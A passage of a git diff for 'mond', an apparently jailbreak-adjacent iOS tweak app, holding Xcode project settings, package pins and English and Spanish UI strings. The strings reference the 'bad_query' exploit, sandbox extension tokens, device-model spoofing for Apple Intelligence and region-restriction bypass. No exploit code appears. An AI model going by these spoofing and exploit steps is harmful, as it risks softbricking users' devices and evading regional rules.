CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = dwarf; + DEVELOPMENT_TEAM = DN4S6CXFWY; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_TESTABILITY = YES; + ENABLE_USER_SCRIPT_SANDBOXING = YES; + GCC_C_LANGUAGE_STANDARD = gnu17; + GCC_DYNAMIC_NO_PIC = NO; + GCC_NO_COMMON_BLOCKS = YES; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 26.0; + LOCALIZATION_PREFERS_STRING_CATALOGS = YES; + MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; + MTL_FAST_MATH = YES; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + SWIFT_ACTIVE_COMPILATION_CONDITIONS = "DEBUG $(inherited)"; + SWIFT_OPTIMIZATION_LEVEL = "-Onone"; + }; + name = Debug; + }; + CCF44B49300858B400739BFC /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + DEVELOPMENT_TEAM = DN4S6CXFWY; + ENABLE_NS_ASSERTIONS = NO; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_USER_SCRIPT_SANDBOXING = YES; + GCC_C_LANGUAGE_STANDARD = gnu17; + GCC_NO_COMMON_BLOCKS = YES; + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 26.0; + LOCALIZATION_PREFERS_STRING_CATALOGS = YES; + MTL_ENABLE_DEBUG_INFO = NO; + MTL_FAST_MATH = YES; + SDKROOT = iphoneos; + SWIFT_COMPILATION_MODE = wholemodule; + VALIDATE_PRODUCT = YES; + }; + name = Release; + }; + CCF44B4B300858B400739BFC /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = mond; + ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; + CLANG_ENABLE_MODULES = YES; + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + DEVELOPMENT_TEAM = DN4S6CXFWY; + ENABLE_PREVIEWS = YES; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_KEY_CFBundleDisplayName = mondL; + INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.developer-tools"; + INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; + INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; + INFOPLIST_KEY_UILaunchScreen_Generation = YES; + INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait"; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown"; + IPHONEOS_DEPLOYMENT_TARGET = 17.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + ); + MARKETING_VERSION = 2.2; + PRODUCT_BUNDLE_IDENTIFIER = com.roooot.mond; + PRODUCT_NAME = "$(TARGET_NAME)"; + STRING_CATALOG_GENERATE_SYMBOLS = YES; + SWIFT_APPROACHABLE_CONCURRENCY = YES; + SWIFT_DEFAULT_ACTOR_ISOLATION = MainActor; + SWIFT_EMIT_LOC_STRINGS = YES; + SWIFT_OBJC_BRIDGING_HEADER = mond/bridging.h; + SWIFT_OPTIMIZATION_LEVEL = "-Onone"; + SWIFT_UPCOMING_FEATURE_MEMBER_IMPORT_VISIBILITY = YES; + SWIFT_VERSION = 5.0; + TARGETED_DEVICE_FAMILY = "1,2"; + }; + name = Debug; + }; + CCF44B4C300858B400739BFC /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = mond; + ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; + CLANG_ENABLE_MODULES = YES; + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + DEVELOPMENT_TEAM = DN4S6CXFWY; + ENABLE_PREVIEWS = YES; + GENERATE_INFOPLIST_FILE = YES; + INFOPLIST_KEY_CFBundleDisplayName = mondL; + INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.developer-tools"; + INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; + INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; + INFOPLIST_KEY_UILaunchScreen_Generation = YES; + INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait"; + INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown"; + IPHONEOS_DEPLOYMENT_TARGET = 17.0; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + ); + MARKETING_VERSION = 2.2; + PRODUCT_BUNDLE_IDENTIFIER = com.roooot.mond; + PRODUCT_NAME = "$(TARGET_NAME)"; + STRING_CATALOG_GENERATE_SYMBOLS = YES; + SWIFT_APPROACHABLE_CONCURRENCY = YES; + SWIFT_DEFAULT_ACTOR_ISOLATION = MainActor; + SWIFT_EMIT_LOC_STRINGS = YES; + SWIFT_OBJC_BRIDGING_HEADER = mond/bridging.h; + SWIFT_UPCOMING_FEATURE_MEMBER_IMPORT_VISIBILITY = YES; + SWIFT_VERSION = 5.0; + TARGETED_DEVICE_FAMILY = "1,2"; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + CCF44B3A300858B300739BFC /* Build configuration list for PBXProject "mond" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + CCF44B48300858B400739BFC /* Debug */, + CCF44B49300858B400739BFC /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + CCF44B4A300858B400739BFC /* Build configuration list for PBXNativeTarget "mond" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + CCF44B4B300858B400739BFC /* Debug */, + CCF44B4C300858B400739BFC /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + +/* Begin XCRemoteSwiftPackageReference section */ + AABBCCDDEEFF001122334401 /* XCRemoteSwiftPackageReference "ZIPFoundation" */ = { + isa = XCRemoteSwiftPackageReference; + repositoryURL = "https://github.com/weichsel/ZIPFoundation"; + requirement = { + kind = upToNextMajorVersion; + minimumVersion = 0.9.0; + }; + }; + CCA208363020090D001C72B6 /* XCRemoteSwiftPackageReference "PartyUI" */ = { + isa = XCRemoteSwiftPackageReference; + repositoryURL = "https://github.com/jailbreakdotparty/PartyUI"; + requirement = { + kind = upToNextMajorVersion; + minimumVersion = 1.2.0; + }; + }; +/* End XCRemoteSwiftPackageReference section */ + +/* Begin XCSwiftPackageProductDependency section */ + AABBCCDDEEFF001122334402 /* ZIPFoundation */ = { + isa = XCSwiftPackageProductDependency; + package = AABBCCDDEEFF001122334401 /* XCRemoteSwiftPackageReference "ZIPFoundation" */; + productName = ZIPFoundation; + }; + CCA208373020090D001C72B6 /* PartyUI */ = { + isa = XCSwiftPackageProductDependency; + package = CCA208363020090D001C72B6 /* XCRemoteSwiftPackageReference "PartyUI" */; + productName = PartyUI; + }; +/* End XCSwiftPackageProductDependency section */ + }; + rootObject = CCF44B37300858B300739BFC /* Project object */; +} diff --git a/mond.xcodeproj/project.xcworkspace/contents.xcworkspacedata b/mond.xcodeproj/project.xcworkspace/contents.xcworkspacedata index 919434a..c4b79bd 100644 --- a/mond.xcodeproj/project.xcworkspace/contents.xcworkspacedata +++ b/mond.xcodeproj/project.xcworkspace/contents.xcworkspacedata @@ -1,7 +1,7 @@ - - - - - + + + + + diff --git a/mond.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved b/mond.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved index 3048088..a2a9412 100644 --- a/mond.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved +++ b/mond.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved @@ -1,24 +1,24 @@ -{ - "originHash" : "f405495752781aafe2cdaf65b2dfd5042e6338fe3a6dba00ec4cffa4e7b71211", - "pins" : [ - { - "identity" : "partyui", - "kind" : "remoteSourceControl", - "location" : "https://github.com/jailbreakdotparty/PartyUI", - "state" : { - "revision" : "830eaac8ebf8a4cbcec08d49e8746033574d1903", - "version" : "1.2.0" - } - }, - { - "identity" : "zipfoundation", - "kind" : "remoteSourceControl", - "location" : "https://github.com/weichsel/ZIPFoundation.git", - "state" : { - "revision" : "22787ffb59de99e5dc1fbfe80b19c97a904ad48d", - "version" : "0.9.20" - } - } - ], - "version" : 3 -} +{ + "originHash" : "f405495752781aafe2cdaf65b2dfd5042e6338fe3a6dba00ec4cffa4e7b71211", + "pins" : [ + { + "identity" : "partyui", + "kind" : "remoteSourceControl", + "location" : "https://github.com/jailbreakdotparty/PartyUI", + "state" : { + "revision" : "830eaac8ebf8a4cbcec08d49e8746033574d1903", + "version" : "1.2.0" + } + }, + { + "identity" : "zipfoundation", + "kind" : "remoteSourceControl", + "location" : "https://github.com/weichsel/ZIPFoundation.git", + "state" : { + "revision" : "22787ffb59de99e5dc1fbfe80b19c97a904ad48d", + "version" : "0.9.20" + } + } + ], + "version" : 3 +} diff --git a/mond.xcodeproj/xcuserdata/ruter.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist b/mond.xcodeproj/xcuserdata/ruter.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist index 0b2b810..2350f6b 100644 --- a/mond.xcodeproj/xcuserdata/ruter.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist +++ b/mond.xcodeproj/xcuserdata/ruter.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist @@ -1,24 +1,24 @@ - - - - - - - - - + + + + + + + + + diff --git a/mond.xcodeproj/xcuserdata/ruter.xcuserdatad/xcschemes/xcschememanagement.plist b/mond.xcodeproj/xcuserdata/ruter.xcuserdatad/xcschemes/xcschememanagement.plist index a23751d..5a1c324 100644 --- a/mond.xcodeproj/xcuserdata/ruter.xcuserdatad/xcschemes/xcschememanagement.plist +++ b/mond.xcodeproj/xcuserdata/ruter.xcuserdatad/xcschemes/xcschememanagement.plist @@ -1,14 +1,14 @@ - - - - - SchemeUserState - - mond.xcscheme_^#shared#^_ - - orderHint - 0 - - - - + + + + + SchemeUserState + + mond.xcscheme_^#shared#^_ + + orderHint + 0 + + + + diff --git a/mond/bridging.h b/mond/bridging.h index 99cdc49..a21d2da 100644 --- a/mond/bridging.h +++ b/mond/bridging.h @@ -1 +1 @@ -#import "bad_query.h" +#import "bad_query.h" diff --git a/mond/en.lproj/CEView.strings b/mond/en.lproj/CEView.strings new file mode 100644 index 0000000..1afa7b8 --- /dev/null +++ b/mond/en.lproj/CEView.strings @@ -0,0 +1,18 @@ +"true" = "true"; +"false" = "false"; +"invalid_integer" = "Invalid Integer"; +"enter_true_false" = "Enter true/false"; +"invalid_base64" = "Invalid base64"; +"no_cache_extra_fields" = "No CacheExtra fields"; +"no_results" = "No results"; +"search_for_keys_or_values" = "Search for keys or values"; +"saved" = "Saved"; +"you_must_respring" = "Field changes written to MobileGestalt. Respring for changes to take effect."; +"type" = "Type"; +"value" = "Value"; +"key" = "Key"; +"key_name" = "Key name"; +"add_field" = "Add Field"; +"add" = "Add"; +"key_cant_be_empty" = "Key cannot be empty"; +"key_already_exist" = "Key already exists"; \ No newline at end of file diff --git a/mond/en.lproj/ContentView.strings b/mond/en.lproj/ContentView.strings new file mode 100644 index 0000000..f7bac36 --- /dev/null +++ b/mond/en.lproj/ContentView.strings @@ -0,0 +1,5 @@ +"logs" = "Logs"; +"tweaks" = "Tweaks"; +"only_mobilegestalt_available" = "Only MobileGestalt is available when method is set to cmg."; +"advanced" = "Advanced"; +"advanced_warning" = "Only use these Tweaks if you know what you're doing.\nYou could break something irreversibly."; \ No newline at end of file diff --git a/mond/en.lproj/GestaltView.strings b/mond/en.lproj/GestaltView.strings new file mode 100644 index 0000000..e46b78e --- /dev/null +++ b/mond/en.lproj/GestaltView.strings @@ -0,0 +1,86 @@ +"menu_warning.do_not_reboot" = "Do not reboot!"; +"menu_warning.mg_empty" = "Your MobileGestalt.plist seems to be empty."; +"menu_warning.mg_invalid" = "Your MobileGestalt.plist seems to be invalid."; +"menu_warning.bootloop" = "Rebooting now might cause a bootloop. Try pressing 'Revert Tweaks'. If the warnings dont go away after that, you're fucked."; + +"menu.apply_tweaks" = "Apply Tweaks"; +"menu.revert_tweaks" = "Revert Tweaks"; +"menu.tweak_warning" = "**WARNING:** These tweaks have the capability to break features on your device or softbrick it if misused!"; + +"artwork.original_subtype_format" = "Original "; +"artwork.disable_dynamic_island" = "Disable Dynamic Island"; +"artwork.subtype" = "Subtype"; +"artwork.custom_device_name" = "Custom Device Name"; +"artwork.device_name" = "Device Name"; +"artwork.device_artwork" = "Device Artwork"; + +"software.enable_dynamic_island_capability" = "Enable Dynamic Island Capability"; +"software.enable_dynamic_island_capability_info" = "An alternate way to enable the Dynamic Island, as used by Nugget."; +"software.always_on_display" = "Always-On Display"; +"software.always_on_display_info" = "Can increase screen burn-in risk on devices that don't officially support it."; +"software.aod_vibrancy" = "AOD Vibrancy"; +"software.aod_vibrancy_info" = "Turn this on if your Always-On Display renders incorrectly."; +"software.disable_wallpaper_parallax" = "Disable Wallpaper Parallax"; +"software.disable_wallpaper_parallax_info" = "Prevents the wallpaper from moving when you tilt or move the device."; +"software.charge_limit_menu" = "Charge Limit Menu"; +"software.charge_limit_menu_info" = "Reveals the Settings menu; whether it actually limits charging depends on your hardware."; +"software.boot_shutdown_chime" = "Boot & Shutdown Chime"; +"software.boot_shutdown_chime_info" = "Adds the chime sound when the device powers on or shuts down."; +"software.enable_liquid_glass_low_performance_mode" = "Enable Liquid Glass Low-Performance Mode"; +"software.enable_liquid_glass_low_performance_mode_info" = "Intended for iOS 26 and newer."; +"software.disable_liquid_glass_low_performance_mode" = "Disable Liquid Glass Low-Performance Mode"; +"software.disable_liquid_glass_low_performance_mode_info" = "Don't use this at the same time as the option above."; +"software.software_oriented_features" = "Software-Oriented Features"; + +"hardware.camera_control_settings" = "iPhone 16 Camera Control Settings"; +"hardware.camera_control_settings_info" = "Exposes the Camera Control settings and its related capabilities."; +"hardware.action_button_settings" = "Action Button Settings"; +"hardware.action_button_settings_info" = "Reveals the Action Button settings page."; +"hardware.collision_sos" = "Collision SOS"; +"hardware.collision_sos_info" = "Reveals the collision detection options in the SOS settings."; +"hardware.tap_to_wake" = "Tap to Wake"; +"hardware.tap_to_wake_info" = "Meant for devices like the iPhone SE where tapping to wake isn't otherwise available."; +"hardware.pulse_width_modulation" = "Pulse Width Modulation"; +"hardware.hardware_oriented_features" = "Hardware-Oriented Feature"; + +"eligibility.security_research_device_mode" = "Security Research Device Mode"; +"eligibility.security_research_device_mode_info" = "Flags the device as an Apple Security Research Device."; +"eligibility.disable_region_restrictions" = "Disable Region Restrictions"; +"eligibility.disable_region_restrictions_info" = "This tweak may be broken or have no effect on some iOS versions or devices."; +"eligibility.disable_region_restrictions_warning" = "Please do not use this feature to bypass region restrictions that would equate to breaking regional laws (e.g. disabling the camera shutter sound). We will NOT be held responsible for enabling any illegal activites!"; +"eligibility.apple_intelligence" = "Apple Intelligence"; +"eligibility.apple_intelligence_info" = "How to use this tweak:\n1. Spoof to the model next to the first one supported by Apple Intelligence.\n2. Spoof back to your model.\n3. Spoof to your final model and you should see the Apple Intelligence icon in Settings.\n4. Connect iPhone to power and leave the Settings > Storage tab open for ~1 hour.\n\nNOTE: Do not spoof back."; +"eligibility.spoofing" = "Spoofing"; +"eligibility.default_model" = "Default"; +"eligibility.device_spoofing_info" = "Device Spoofing Info"; +"eligibility.device_spoofing_info_body" = "Only spoof your device model if you want to download Apple Intelligence. This may break Face ID. If you decide to unspoof and want to keep Apple Intelligence, do NOT re-enter the Apple Intelligence & Siri menu in Settings."; +"eligibility.apple_intelligence_spoof" = "Apple Intelligence Spoof"; +"eligibility.apple_intelligence_spoof_info" = "How to use this tweak:\n1. Spoof to the model next to the first one supported by Apple Intelligence.\n2. Spoof back to your model.\n3. Spoof to your final model and you should see the Apple Intelligence icon in Settings.\n4. Connect iPhone to power and leave the Settings > Storage tab open for ~1 hour.\n\nNOTE: Do not spoof back."; +"eligibility.eligibility" = "Eligibility"; + +"ipados.allow_ipados_apps" = "Allow iPad Apps"; +"ipados.allow_ipados_apps_info" = "Allows iPad apps to be installed on iPhone."; +"ipados.apple_pencil_settings" = "Apple Pencil Settings"; +"ipados.apple_pencil_settings_info" = "Reveals the Apple Pencil settings page."; +"ipados.stage_manager_support" = "Stage Manager Support"; +"ipados.stage_manager_support_info" = "Flags the device as capable of Stage Manager."; +"ipados.ipados_mode" = "Enable iPadOS Mode"; +"ipados.ipados_mode_info" = "Experimental and high risk; This is a very dangerous tweak to use! If you use an alphanumeric passcode, DO NOT USE THIS TWEAK AT ALL! Please do not turn off \"Show Dock In Stage Manager\" or your device will BOOTLOOP when rotating to landscape! Some users have also reported that enabling the iPadOS UI and then tapping Stage Manager can cause the device to enter Recovery Mode, even when the UI itself appears unchanged. The Settings search bar may move to the top before this happens. With these three things in mind, you may experience general instability, or other major issues such as app data randomly disappearing. But I guess some funny multitasking features that still make the device relatively unusable are cool? Whatever dude, I'm not here to tell you how to use your own device."; +"ipados.ipados_features" = "iPadOS Features"; + +"internal.internal_storage_view" = "Internal Storage View"; +"internal.internal_storage_view_info" = "Displays internal files in the Storage settings; can be dangerous on some iPads."; +"internal.internal_features" = "Internal Features"; +"internal.apple_internal_install" = "Apple Internal Install"; +"internal.apple_internal_install_info" = "Turns on internal features like the Metal HUD; some services may act up."; +"internal.internal" = "Internal"; + +"warning.failed_to_load_mg" = "Failed to load current MobileGestalt!"; +"warning.restart_and_check_logs" = "Restart the app and try again. Check logs for more detailed information."; +"warning.successfully_applyed_mg" = "Successfully applied Gestalt tweaks!"; +"warning.respring_to_take_effect" = "Respring your device for changes to take effect. Note that some tweaks may require a reboot for them to apply properly."; +"warning.failed_to_apply_mg" = "Failed to apply MobileGestalt!"; +"warning.successfully_reverted_mg" = "Successfully reverted Gestalt tweaks!"; +"warning.reboot_to_take_effect" = "Reboot your device for changes to take effect."; +"warning.failed_to_revert_mg" = "Failed to revert MobileGestalt!"; +"warning.check_logs" = "Check logs for error information."; \ No newline at end of file diff --git a/mond/en.lproj/LanguageView.strings b/mond/en.lproj/LanguageView.strings new file mode 100644 index 0000000..c7cbf4e --- /dev/null +++ b/mond/en.lproj/LanguageView.strings @@ -0,0 +1,7 @@ +"system_default" = "System Default"; +"system_default_description" = "Match your device's language"; +"language" = "Language"; +"choose_language" = "Choose Language"; +"restart_required" = "Restart Required"; +"exit" = "Exit"; +"restart_required_message" = "The app needs to restart for the language change to take effect."; \ No newline at end of file diff --git a/mond/en.lproj/Localizable.strings b/mond/en.lproj/Localizable.strings new file mode 100644 index 0000000..c8351e4 --- /dev/null +++ b/mond/en.lproj/Localizable.strings @@ -0,0 +1,10 @@ +/* English localization for mond */ +//Keys that used in multiple files or other sht +"warning" = "Warning!"; +"respring" = "Respring"; +"not_supported" = "Not supported!"; +"check_your_ios" = "Your iOS version may not be supported by mond.\nMond only supports iOS 27.0 developer beta 1 - 4."; +"cancel" = "Cancel"; +"done" = "Done"; +"save_failed" = "Save failed"; +"information" = "Information"; \ No newline at end of file diff --git a/mond/en.lproj/LogsView.strings b/mond/en.lproj/LogsView.strings new file mode 100644 index 0000000..ef1fedb --- /dev/null +++ b/mond/en.lproj/LogsView.strings @@ -0,0 +1 @@ +"copy_output" = "Copy Output"; \ No newline at end of file diff --git a/mond/en.lproj/PosterView.strings b/mond/en.lproj/PosterView.strings new file mode 100644 index 0000000..66f0fc6 --- /dev/null +++ b/mond/en.lproj/PosterView.strings @@ -0,0 +1,15 @@ +"apply" = "Apply"; +"reset" = "Reset"; +"import_tendies" = "Import Tendies"; +"explore_tendies" = "Explore Tendies"; +"tendies_warning" = "Import up to 5 wallpaper packs.\n**NOTE:** Importing more than 5 tendies at once is not a good idea and importing more than 15 is a TERRIBLE idea. Dont say I didnt warn you."; +"imported" = "Imported"; +"poster_apply_success_title" = "Successfully applied PosterBoard!"; +"poster_take_effect" = "For changes to take effect:\n1. Click 'Open' to launch Posterboard\n2. Close it from the App Switcher"; +"open" = "Open"; +"poster_apply_failed_title" = "Failed to apply PosterBoard!"; +"poster_apply_failed_body" = "Restart the app and try again. Check logs for more detailed information."; +"poster_reset_success_title" = "Successfully reverted PosterBoard!"; +"poster_reset_success_body" = "Respring your device for changes to take effect."; +"poster_reset_failed_title" = "Failed to revert PosterBoard!"; +"poster_reset_failed_body" = "Restart the app and try again. Check logs for more detailed information."; \ No newline at end of file diff --git a/mond/en.lproj/SantanderView.strings b/mond/en.lproj/SantanderView.strings new file mode 100644 index 0000000..c2586e9 --- /dev/null +++ b/mond/en.lproj/SantanderView.strings @@ -0,0 +1,17 @@ +"go_to_root" = "Go to Root"; +"go_to_home" = "Go to Home"; +"display_hidden_files" = "Display hidden files"; +"sort_az" = "Sort A-Z"; +"sort_za" = "Sort Z-A"; +"save" = "Save"; +"ok" = "OK"; +"failed_to_render_image" = "Failed to render image"; +"missing_write_permission" = "Missing write permission."; +"could_not_encode_text" = "Could not encode text."; +"invalid_plist_json" = "Edited text is not a valid plist/JSON document."; +"no_visible_items" = "No visible items. Enable \"Display hidden files\" to show dotfiles."; +"directory_empty" = "Directory is empty."; +"no_app_containers_found" = "No app containers found."; +"cannot_list_directory" = "Cannot list directory (missing permissions)."; +"not_a_directory" = "Not a directory."; +"no_matching_items" = "No matching items."; \ No newline at end of file diff --git a/mond/en.lproj/SettingsView.strings b/mond/en.lproj/SettingsView.strings new file mode 100644 index 0000000..20db54e --- /dev/null +++ b/mond/en.lproj/SettingsView.strings @@ -0,0 +1,37 @@ +"unknown_app" = "Unknown App"; +"method" = "Method"; +"run_exploit" = "Run Exploit"; +"exploit" = "Exploit"; +"exploit_method_cmg" = "**CMG:** Supports iOS 27.0 b1 - b4. Only MobileGestalt will work with this method. Only use this when bad_query isnt working for you."; +"exploit_method_bad_query" = "**bad_query:** Supports iOS 27.0 b1 - b4. By [forcequit](https://github.com/forcequitOS)."; +"sandbox_extension_token" = "Sandbox Extension Token."; +"token_class" = "Class:"; +"token_path" = "Path:"; +"copy_token" = "Copy Token"; +"failed_to_get_token" = "Failed to get token."; +"generate_token" = "Generate Token"; +"token" = "Token"; +"sandbox_token_valid" = "Your sandbox token is valid."; +"sandbox_token_invalid" = "Your sandbox token is invalid."; +"exploit_failed_version" = "Disabled because the exploit failed. Is your iOS version supported?"; +"keep_alive" = "Keep Alive"; +"keep_alive_info" = "Keeps the app running in the background after you close it, allowing it to remain active."; +"dismiss_after_importing" = "Dismiss after importing"; +"dismiss_after_importing_info" = "When enabled, the Tendies explorer will close automatically after importing a .tendies file into PosterBoard."; +"persist_after_reboot" = "Persist after reboot"; +"persist_after_reboot_info" = "When enabled, MobileGestalt is written in-place on the same inode, which (hopefully) prevents iOS from regenerating the cache on reboot. Disable to use atomic file replacement instead."; +"ignore_exploit_failure" = "Ignore exploit failure"; +"ignore_exploit_failure_info" = "When enabled, All Tweaks will be accessible even if the exploit failed."; +"settings" = "Settings"; +"tools" = "Tools"; +"respring_method_credits" = "Respring method by [neon](https://github.com/neonmodder123), swift implementation by [skadz](https://github.com/skadz108)."; +"credit_main_developer" = "Main developer"; +"credit_bad_query_exploit" = "The bad_query exploit"; +"credit_mcm_bug_class" = "His work on the MCM bug class"; +"credit_partyui_gestaltview" = "PartyUI, GestaltView"; +"credit_tendies_repo" = "Tendies repository"; +"credit_locaclization_project" = "Localization Project Creating"; +"credits" = "Credits"; +"are_you_sure" = "Are you sure?"; +"confirm" = "Confirm"; +"confirm_respring" = "Confirm that you want to respring."; \ No newline at end of file diff --git a/mond/en.lproj/TendiesView.strings b/mond/en.lproj/TendiesView.strings new file mode 100644 index 0000000..2670c3f --- /dev/null +++ b/mond/en.lproj/TendiesView.strings @@ -0,0 +1,11 @@ +"loading_wallpapers" = "Loading wallpapers…"; +"couldnt_load_tendies" = "Couldn't Load tendies"; +"try_again" = "Try Again"; +"search_wallpapers" = "Search wallpapers"; +"import_failed" = "Import Failed"; +"ok" = "OK"; +"add_to_imported" = "Add to Imported"; +"preview_unavailable" = "Preview Unavailable"; +"preview_couldnt_load" = "The wallpaper preview couldn't be loaded."; +"downloading" = "Downloading..."; +"download_failed" = "Download Failed"; \ No newline at end of file diff --git a/mond/es.lproj/CEView.strings b/mond/es.lproj/CEView.strings new file mode 100644 index 0000000..a4d6e6f --- /dev/null +++ b/mond/es.lproj/CEView.strings @@ -0,0 +1,18 @@ +"true" = "verdadero"; +"false" = "falso"; +"invalid_integer" = "Entero no válido"; +"enter_true_false" = "Introduce verdadero/falso"; +"invalid_base64" = "Base64 no válido"; +"no_cache_extra_fields" = "No hay campos CacheExtra"; +"no_results" = "No hay resultados"; +"search_for_keys_or_values" = "Buscar claves o valores"; +"saved" = "Guardado"; +"you_must_respring" = "Los cambios de los campos se escribieron en MobileGestalt. Haz respring para que surtan efecto."; +"type" = "Tipo"; +"value" = "Valor"; +"key" = "Clave"; +"key_name" = "Nombre de la clave"; +"add_field" = "Añadir campo"; +"add" = "Añadir"; +"key_cant_be_empty" = "La clave no puede estar vacía"; +"key_already_exist" = "La clave ya existe"; \ No newline at end of file diff --git a/mond/es.lproj/ContentView.strings b/mond/es.lproj/ContentView.strings new file mode 100644 index 0000000..7c0bc39 --- /dev/null +++ b/mond/es.lproj/ContentView.strings @@ -0,0 +1,5 @@ +"logs" = "Registros"; +"tweaks" = "Tweaks"; +"only_mobilegestalt_available" = "Solo los ajustes de MobileGestalt están disponibles cuando el método está configurado como cmg."; +"advanced" = "Avanzado"; +"advanced_warning" = "Usa estos Tweaks solo si sabes lo que haces.\nPodrías romper algo de forma irreversible."; \ No newline at end of file diff --git a/mond/es.lproj/GestaltView.strings b/mond/es.lproj/GestaltView.strings new file mode 